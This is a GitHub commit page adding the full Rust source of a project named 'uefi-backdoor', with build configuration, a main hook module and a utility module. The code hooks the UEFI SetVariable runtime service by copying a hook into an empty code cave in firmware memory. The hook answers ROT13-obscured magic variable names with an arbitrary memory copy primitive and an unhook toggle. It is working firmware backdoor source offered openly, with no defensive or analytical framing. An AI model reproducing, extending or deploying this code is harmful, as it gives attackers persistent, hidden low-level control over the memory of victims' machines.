Skip to content

Commit d6e5750

Browse files
committed
Add code
1 parent 37f7b77 commit d6e5750

File tree

7 files changed

+374
-10
lines changed

7 files changed

+374
-10
lines changed

.cargo/config

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
[build]
2+
target = "x86_64-unknown-uefi"
3+
4+
[target.x86_64-unknown-uefi]
5+
rustflags = ["-Ccode-model=small", "-Clink-arg=/debug:none"]

.gitignore

Lines changed: 1 addition & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -1,10 +1 @@
1-
# Generated by Cargo
2-
# will have compiled files and executables
3-
/target/
4-
5-
# Remove Cargo.lock from gitignore if creating an executable, leave it for libraries
6-
# More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html
7-
Cargo.lock
8-
9-
# These are backup files generated by rustfmt
10-
**/*.rs.bk
1+
/target

Cargo.lock

Lines changed: 123 additions & 0 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

Cargo.toml

Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,21 @@
1+
[package]
2+
name = "uefi-backdoor"
3+
version = "0.1.0"
4+
edition = "2018"
5+
6+
[profile.dev]
7+
panic = "abort"
8+
9+
[profile.release]
10+
codegen-units = 1
11+
lto = true
12+
panic = "abort"
13+
14+
[package.metadata.cargo-xbuild]
15+
panic_immediate_abort = true
16+
17+
[dependencies]
18+
ezhook = "0.1.0"
19+
panic-abort = "0.3.2"
20+
r-efi = "3.0.0"
21+
uefi = "0.4.6"

rust-toolchain

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
nightly-2020-06-15

src/main.rs

Lines changed: 91 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,91 @@
1+
#![no_std]
2+
#![no_main]
3+
#![feature(abi_efiapi)]
4+
5+
extern crate panic_abort;
6+
7+
#[macro_use]
8+
mod util;
9+
use util::*;
10+
11+
use core::mem;
12+
use ezhook::remote_hook;
13+
use uefi::{prelude::*, table::boot::Tpl, Guid};
14+
15+
remote_hook! {
16+
#[hook]
17+
unsafe extern "efiapi" fn set_variable_hook(
18+
variable_name: *const u16,
19+
vendor_guid: *const Guid,
20+
attributes: u32,
21+
data_size: usize,
22+
data: *const u8,
23+
) -> Status {
24+
if !variable_name.is_null() {
25+
if eq(variable_name, &COPY_VARIABLE_NAME) {
26+
if data_size == mem::size_of::<CopyData>() {
27+
copy(&*(data as *const CopyData));
28+
}
29+
30+
return Status::SUCCESS
31+
}
32+
33+
if eq(variable_name, &UNHOOK_VARIABLE_NAME) {
34+
toggle!();
35+
36+
return Status::SUCCESS
37+
}
38+
39+
// TODO: store the remote location for proper unhooking
40+
}
41+
42+
orig!(variable_name, vendor_guid, attributes, data_size, data)
43+
}
44+
45+
unsafe fn eq(a: *const u16, b: &[u8]) -> bool {
46+
b.iter().enumerate().all(|(n, i)| *a.add(n) == *i as u16)
47+
}
48+
49+
static COPY_VARIABLE_NAME: [u8; 15] = *b"onpxqbbe::pbcl\0";
50+
51+
#[repr(C)]
52+
struct CopyData {
53+
src: *const u8,
54+
dst: *mut u8,
55+
count: usize,
56+
}
57+
58+
unsafe fn copy(data: &CopyData) {
59+
for i in 0..data.count {
60+
*data.dst.add(i) = *data.src.add(i);
61+
}
62+
}
63+
64+
static UNHOOK_VARIABLE_NAME: [u8; 17] = *b"onpxqbbe::haubbx\0";
65+
}
66+
67+
fn main() -> Status {
68+
let set_variable = raw_runtime_services().set_variable;
69+
println!("[+] set_variable = {:x}", set_variable as usize);
70+
71+
let region = unwrap!(region_containing(set_variable as _));
72+
println!("[+] region = {:x}:{:x}", region.start, region.end);
73+
let region = unsafe { range_to_slice(region) };
74+
75+
let location = unwrap!(search_for_contiguous(region, 0, unsafe {
76+
set_variable_hook::len()
77+
}));
78+
let start = location.as_ptr() as usize;
79+
println!("[+] location = {:x}:{:x}", start, start + location.len());
80+
81+
unsafe {
82+
let hook = set_variable_hook::copy_to(location);
83+
hook.hook(mem::transmute(set_variable));
84+
85+
let guard = system_table().boot_services().raise_tpl(Tpl::NOTIFY);
86+
hook.toggle();
87+
mem::drop(guard);
88+
}
89+
90+
Status::SUCCESS
91+
}

src/util.rs

Lines changed: 132 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,132 @@
1+
use core::{
2+
mem::{self, MaybeUninit},
3+
ops::Range,
4+
slice,
5+
};
6+
7+
use r_efi::{protocols::simple_text_output, system::RuntimeServices as RawRuntimeServices};
8+
use uefi::{prelude::*, proto::console::text::Color, Completion};
9+
10+
static mut SYSTEM_TABLE: MaybeUninit<SystemTable<Boot>> = MaybeUninit::uninit();
11+
12+
pub fn system_table() -> &'static SystemTable<Boot> {
13+
unsafe { &*SYSTEM_TABLE.as_ptr() }
14+
}
15+
16+
pub fn raw_runtime_services() -> &'static RawRuntimeServices {
17+
unsafe { &*(system_table().runtime_services() as *const _ as *const _) }
18+
}
19+
20+
macro_rules! print {
21+
($($arg:tt)*) => { {
22+
use ::core::fmt::Write;
23+
let _ = ::core::write!($crate::util::system_table().stdout(), $($arg)*);
24+
} }
25+
}
26+
27+
macro_rules! println {
28+
($($arg:tt)*) => { {
29+
use ::core::fmt::Write;
30+
let _ = ::core::writeln!($crate::util::system_table().stdout(), $($arg)*);
31+
} }
32+
}
33+
34+
#[entry]
35+
fn efi_main(_image_handle: Handle, system_table: SystemTable<Boot>) -> Status {
36+
unsafe { SYSTEM_TABLE = MaybeUninit::new(system_table) };
37+
38+
main();
39+
40+
Status::LOAD_ERROR
41+
}
42+
43+
fn main() {
44+
let stdout = system_table().stdout();
45+
46+
let (foreground, background) = unsafe {
47+
let raw_stdout = &*(stdout as *const _ as *const simple_text_output::Protocol);
48+
let mode = &*raw_stdout.mode;
49+
mem::transmute((
50+
(mode.attribute & 0xF) as u8,
51+
(mode.attribute >> 4 & 0x7) as u8,
52+
))
53+
};
54+
55+
match crate::main() {
56+
Status::SUCCESS => {
57+
let _ = stdout.set_color(Color::LightGreen, background);
58+
println!("╔══════════╗");
59+
println!("║ Success! ║");
60+
println!("╚══════════╝");
61+
}
62+
status => {
63+
let _ = stdout.set_color(Color::LightRed, background);
64+
println!("[-] error: {:?}", status);
65+
}
66+
}
67+
68+
let _ = stdout.set_color(Color::White, background);
69+
print!("Press any key to continue...");
70+
let _ = stdout.set_color(foreground, background);
71+
72+
let stdin = system_table().stdin();
73+
let _ = system_table()
74+
.boot_services()
75+
.wait_for_event(&mut [stdin.wait_for_key_event()]);
76+
let _ = stdin.read_key();
77+
78+
println!();
79+
}
80+
81+
macro_rules! unwrap {
82+
($expr:expr) => {
83+
$expr?.split().1
84+
};
85+
}
86+
87+
static mut BUFFER: [u8; 4096] = [0; 4096];
88+
89+
pub fn region_containing(address: usize) -> uefi::Result<Range<usize>> {
90+
let (status, (_, descriptors)) = system_table()
91+
.boot_services()
92+
.memory_map(unsafe { &mut BUFFER })?
93+
.split();
94+
95+
let region = descriptors
96+
.map(|descriptor| {
97+
let start = descriptor.phys_start as usize;
98+
let end = start + descriptor.page_count as usize * 4096;
99+
100+
start..end
101+
})
102+
.find(|region| region.contains(&address));
103+
104+
match region {
105+
Some(region) => Ok(Completion::new(status, region)),
106+
None => Err(Status::NOT_FOUND.into()),
107+
}
108+
}
109+
110+
pub unsafe fn range_to_slice(range: Range<usize>) -> &'static mut [u8] {
111+
slice::from_raw_parts_mut(range.start as _, range.len())
112+
}
113+
114+
pub fn search_for_contiguous(slice: &mut [u8], item: u8, count: usize) -> uefi::Result<&mut [u8]> {
115+
let mut current = 0;
116+
117+
for (n, i) in slice.iter().enumerate() {
118+
if *i == item {
119+
current += 1;
120+
121+
if current == count {
122+
let slice = &mut slice[n + 1 - count..n + 1];
123+
124+
return Ok(slice.into());
125+
}
126+
} else if current != 0 {
127+
current = 0;
128+
}
129+
}
130+
131+
Err(Status::NOT_FOUND.into())
132+
}

0 commit comments

Comments
 (0)